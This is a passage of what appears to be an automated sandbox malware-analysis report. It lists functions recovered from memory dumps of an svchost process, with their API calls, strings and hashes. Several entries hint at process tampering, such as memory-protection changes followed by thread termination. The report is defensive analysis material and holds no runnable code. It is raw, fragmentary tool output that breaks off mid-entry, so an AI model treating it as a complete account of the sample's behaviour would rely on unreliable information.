Part of subcall function 00000158709AA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000158709AA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000158709A9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000158709A9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000158709A9DDA

Strings

csm, xrefs: 00000158709A9A9C
csm, xrefs: 00000158709A99BB
csm, xrefs: 00000158709A9A22

Memory Dump Source

Source File: 0000002C.00000002.3045643461.00000158709A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709a0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 08ab0671c9424b5081223383289d6080edcd3caa4dd75a7e0d5916fa68029c91
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 8AE16EBA608F40CAEB60DB69DC403DD77A4F799799F204116EE896BB95CF34C492DB00

Function 00000158709DA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000158709DA5A1

Part of subcall function 00000158709DB414: __GetUnwindTryBlock.LIBCMT ref: 00000158709DB457
Part of subcall function 00000158709DB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000158709DB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000158709DA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000158709DA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000158709DA9DA

Strings

csm, xrefs: 00000158709DA622
csm, xrefs: 00000158709DA69C
csm, xrefs: 00000158709DA5BB

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: f3fa1228f9b23b1bab88f1be00c529a69e786049c2ce1459848cac513dec6a52
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: D0E1807A648F48CAEB20DF65D8803DD77A0F799799F640115EE896BB96CF34C492CB00

Function 00000158709DF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 00000158709DF510
GetProcAddress.KERNEL32 ref: 00000158709DF51C

Strings

api-ms-, xrefs: 00000158709DF45A
ext-ms-, xrefs: 00000158709DF46D

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: cb0434ac2a4b0d4f8a64736bfb55d34b7dfcd7b844d76ba5a6e5c12046194fd4
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 9441293A359E04D1EA15CB16AC147D63391B7CDBE2F2541299D0DAF7AAEE38C4478B40

Function 00000158709DD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000158709DC7DE,?,?,?,?,?,?,?,?,00000158709DCF9D,?,?,00000001), ref: 00000158709DD087
FlsSetValue.KERNEL32(?,?,?,00000158709DC7DE,?,?,?,?,?,?,?,?,00000158709DCF9D,?,?,00000001), ref: 00000158709DD0A6
FlsSetValue.KERNEL32(?,?,?,00000158709DC7DE,?,?,?,?,?,?,?,?,00000158709DCF9D,?,?,00000001), ref: 00000158709DD0CE
FlsSetValue.KERNEL32(?,?,?,00000158709DC7DE,?,?,?,?,?,?,?,?,00000158709DCF9D,?,?,00000001), ref: 00000158709DD0DF
FlsSetValue.KERNEL32(?,?,?,00000158709DC7DE,?,?,?,?,?,?,?,?,00000158709DCF9D,?,?,00000001), ref: 00000158709DD0F0

Strings

1%, xrefs: 00000158709DD0CE
Y%, xrefs: 00000158709DD0A6

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 1d2e9aa775ac6edd092d1a246d88b9f5446202352410f6619a6c14a773fb799f
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 9811307878DE4CC1FA6857259D523F971419BCC7A6F78422594292E7DBDE28D4438A00

Function 00000158709D7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000158709D7538
__scrt_acquire_startup_lock.LIBCMT ref: 00000158709D758A
_RTC_Initialize.LIBCMT ref: 00000158709D75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000158709D75DE
__scrt_release_startup_lock.LIBCMT ref: 00000158709D7609

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 3d8f95e5633d4c6b653d59d18f429cffb185ad790c80063b25e37e7c71a7f415
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 03817E3D688E49C6FA50EB65AC413D9B291ABCD782F744415A9086F7A7FF38C8478F01

Function 00000158709D9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000158709D9E49
GetLastError.KERNEL32 ref: 00000158709D9E57
LoadLibraryExW.KERNEL32 ref: 00000158709D9E81
FreeLibrary.KERNEL32 ref: 00000158709D9EC7
GetProcAddress.KERNEL32 ref: 00000158709D9ED3

Strings

api-ms-, xrefs: 00000158709D9E69

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 7fb3335a45b0d0e99637cb6ac1d0fd9b443a23753f7729f4e4207a61b16c956a
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 2031D83A35AE44E1EE11EB42AC007D97394B7CCBA2F7906259D1E6F392DF38C4568B10

Function 00000158709E3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000158709E3DE5
GetLastError.KERNEL32 ref: 00000158709E3DF1
CloseHandle.KERNEL32 ref: 00000158709E3E09
CreateFileW.KERNEL32 ref: 00000158709E3E34
WriteConsoleW.KERNEL32 ref: 00000158709E3E53

Strings

CONOUT$, xrefs: 00000158709E3E15

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 5854a10f70b8acde66e217e2d3e673b9bf3bb195df514e6a525a3e7a0ccb6496
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 52118236314F40C6E7508B52FC5435976A0F7CCFE6F244218EA5A9B7A4CF78C9668B80

Function 00000158709D3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000158709D379E
GetCurrentProcess.KERNEL32 ref: 00000158709D37CC
VirtualProtectEx.KERNEL32 ref: 00000158709D37EE
GetCurrentProcess.KERNEL32 ref: 00000158709D3809
VirtualProtectEx.KERNEL32 ref: 00000158709D382A

Strings

wr, xrefs: 00000158709D37FF

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: c1706b2b0473ed2e9d02f1dddf1a74ec365221044fa21d2a3e131ac40444c417
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 60113C3A708F45C2EF549B22E8043A972A1F788B97F644029DE895B765EF3DC916CB04

Function 00000158709D5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000158709D5B6B
GetThreadContext.KERNEL32 ref: 00000158709D5CD5

Part of subcall function 00000158709D5960: GetCurrentThreadId.KERNEL32 ref: 00000158709D5964

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 60ab21630707aac3798ecf9166792788bd74f2907c85a2321cc20bfd57c17da0
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: CFD17B7A259F48D1DA70DB16E89439A77A0F3CCB85F200116EA8D5BBA5DF38C552CF40

Function 00000158709D2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000158709D2F27
HeapAlloc.KERNEL32 ref: 00000158709D2F3A
StrCmpNIW.SHLWAPI ref: 00000158709D2FAF
GetProcessHeap.KERNEL32 ref: 00000158709D3015
HeapFree.KERNEL32 ref: 00000158709D3023

Strings

dialer, xrefs: 00000158709D2FA8

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: e6d8faa326a562ef7d00f18873055ee8b9534239608773783dd45c2c1394fe41
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: FE31923A709F59C2E615CF16ED407E977A0FB98B82F1884249E485BB56EF34C462CB00

Function 00000158709DCFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000158709DCFAF
FlsSetValue.KERNEL32(?,?,?,00000158709DD6B5,?,?,?,?,00000158709DD778), ref: 00000158709DCFE5
FlsSetValue.KERNEL32(?,?,?,00000158709DD6B5,?,?,?,?,00000158709DD778), ref: 00000158709DD012
FlsSetValue.KERNEL32(?,?,?,00000158709DD6B5,?,?,?,?,00000158709DD778), ref: 00000158709DD023
FlsSetValue.KERNEL32(?,?,?,00000158709DD6B5,?,?,?,?,00000158709DD778), ref: 00000158709DD034
SetLastError.KERNEL32 ref: 00000158709DD04F

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: aa873455afc96999b87c21931bd58146887484eb7e08ab61906587a09483081b
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: EA116379389E48C1FA6457259E553E931425BCC7F6F344714A8366F7DBDD28C4438E40

Function 00000158709D199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000158709D19C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000158709D19E0
PathFindFileNameW.SHLWAPI ref: 00000158709D19EF
lstrlenW.KERNEL32 ref: 00000158709D19FB
StrCpyW.SHLWAPI ref: 00000158709D1A0E
CloseHandle.KERNEL32 ref: 00000158709D1A1C

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 7cc37782291b92a2b75e31e5930a5bab2ef7aa798e5d7ec79eb9ff034366abf0
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 2F016D36304E44C2EB54DB62A84839973A1F78CBC2FA84035DE4967765DF3CC99ACB00

Function 00000158709D36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000158709D36E4
GetCurrentProcess.KERNEL32 ref: 00000158709D36F2
VirtualProtectEx.KERNEL32 ref: 00000158709D3714
GetCurrentProcess.KERNEL32 ref: 00000158709D3732
VirtualProtectEx.KERNEL32 ref: 00000158709D3753
TerminateThread.KERNEL32 ref: 00000158709D3762

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: d92c0bde52101c03c87867e95d8acc90603132017f221265b0eb273a598ab5d0
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 3B011B7A215F44C2FB249B22EC0839973A0BB9DB87F244428CD492B765EF3DC51A8B00

Function 00000158709D9005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000158709D9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000158709D90A8
RtlUnwindEx.NTDLL ref: 00000158709D90F7

Strings

f, xrefs: 00000158709D9026
csm, xrefs: 00000158709D908E

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 04aa9ae47b2a9c131ca64884b0331827bb0d1dcec54a8120c3393878895a1e76
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: CE51C63A74DA06CADB14EF15EC48B993795F389B9AF218124DA076B74ADF75CC42CB00

Function 00000158709D8FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000158709D9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000158709D90A8
RtlUnwindEx.NTDLL ref: 00000158709D90F7

Strings

f, xrefs: 00000158709D9026
csm, xrefs: 00000158709D908E

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: cc6c5033e38e6afa751b52c8de9f6da4c93002e611e71df0da7fecd0cba56087
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 0F31C43A348A44D6E714EF11EC447993765F388BCAF258114EE4A2B746DF39C942CF04

Function 00000158709D1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000158709D1A60
StrCmpNIW.SHLWAPI ref: 00000158709D1A7A
lstrlenW.KERNEL32 ref: 00000158709D1A89
StrCpyW.SHLWAPI ref: 00000158709D1A9E

Strings

\\?\, xrefs: 00000158709D1A6E

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: 698509cad8b23d240c0b825ecc2b97b4a5749d1b6b2534689e1e69f203ffbdc3
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 77F03C37704A45D2EB608B61FC847997760F78CBDAFA44020DA495AA65DE2CCA9ECF00

Function 00000158709D3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000158709D3066
StrCpyW.SHLWAPI ref: 00000158709D3076
StrCatW.SHLWAPI ref: 00000158709D3082
PathCombineW.SHLWAPI ref: 00000158709D3090

Strings

\\.\pipe\, xrefs: 00000158709D305C

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: de2cf2f2a9d9284385138a2729b234b0e2eb91eb51179958fd2d97b66a3f2f3e
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 8EF05439204F84C1EA104B12BD042997260A78CFD2F289120DD461BB29DE28C8568B00

Function 00000158709DBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000158709DBCBD
GetProcAddress.KERNEL32 ref: 00000158709DBCD3
FreeLibrary.KERNEL32 ref: 00000158709DBCFA

Strings

mscoree.dll, xrefs: 00000158709DBCB4
CorExitProcess, xrefs: 00000158709DBCCC

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 10d4d02c46d8948fd3dba8b0568bcad9390f76deb3f3d4399e5b44582f6e7a45
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: C0F0627A215E04D1EB148B29EC443997320FBCDBA7F640219CA6A5D2F4CF2CC956CB00

Function 00000158709D50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000158709D5156

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: d8e4fcef7782aab0e6196fa45eef77e5817cd3fcfaeadc4be3155837d2d64916
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: EF02A83625DB84C6E760CB55E89039AB7A1F3C8795F204015EA8E9BBA9DF7CC495CF00

Function 00000158709D5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000158709D5726

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 2d239d733d9f377039aa2bd8920474b359dab336e32e40763e3e9fde822d2307
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 4961C73A559E48C6E760CB15E85435AB7A0F3CC786F600116EA8E5BBA9DF7CC452CF40

Function 00000158709B3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000158709B352C
_set_statfp.LIBCMT ref: 00000158709B3547
_set_statfp.LIBCMT ref: 00000158709B3563
_set_statfp.LIBCMT ref: 00000158709B359F

Memory Dump Source

Source File: 0000002C.00000002.3045643461.00000158709A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709a0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: b22d272b1eca59d2f8be55dc33f3d675a4ea0f3ee1479b912bd1a7d695708eec
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: C411C47A610E01D1FA749568EC513E934806BDC37EF78C728BD6ABEED78EA4C8474900

Function 00000158709E4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000158709E412C
_set_statfp.LIBCMT ref: 00000158709E4147
_set_statfp.LIBCMT ref: 00000158709E4163
_set_statfp.LIBCMT ref: 00000158709E419F

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 45fce9a1b44715b5da1f110af4fbf2b5e72d243b065df00d6a6cb7d411a89504
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: F011B23BA18F40E1FE645578DC553E531416BFC3A6E380624A5766E6F6CEA8CCA34901

Function 00000158709AF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000158709AF124

Strings

Wednesday, xrefs: 00000158709AF1ED
or copy constructor iterator', xrefs: 00000158709AF25A, 00000158709AF275
Tuesday, xrefs: 00000158709AF0F4

Memory Dump Source

Source File: 0000002C.00000002.3045643461.00000158709A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709a0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: bfa070ed68fe50ba7f1f2c297ac04698a413684fc1faf6f2fb695e8f31954a37
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 2A6192BE60CE00C2FA658BA4DC603EA7A90E7CD792F714516CA153F795EE34C847EA00

Function 00000158709DAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000158709DAA68
_CallSETranslator.LIBVCRUNTIME ref: 00000158709DAAB7

Strings

MOC, xrefs: 00000158709DAA7C
RCC, xrefs: 00000158709DAA85

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 7893eb5ab0e642a1a0fa3d649198329584f3167fee0553330bce6cb7a40f68a6
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 06614C3A605A48CAEB109F65D8403DD77A1F388B99F244216DE492BB95DF38D556CB00

Function 00000158709AA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000158709AA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000158709AA288

Strings

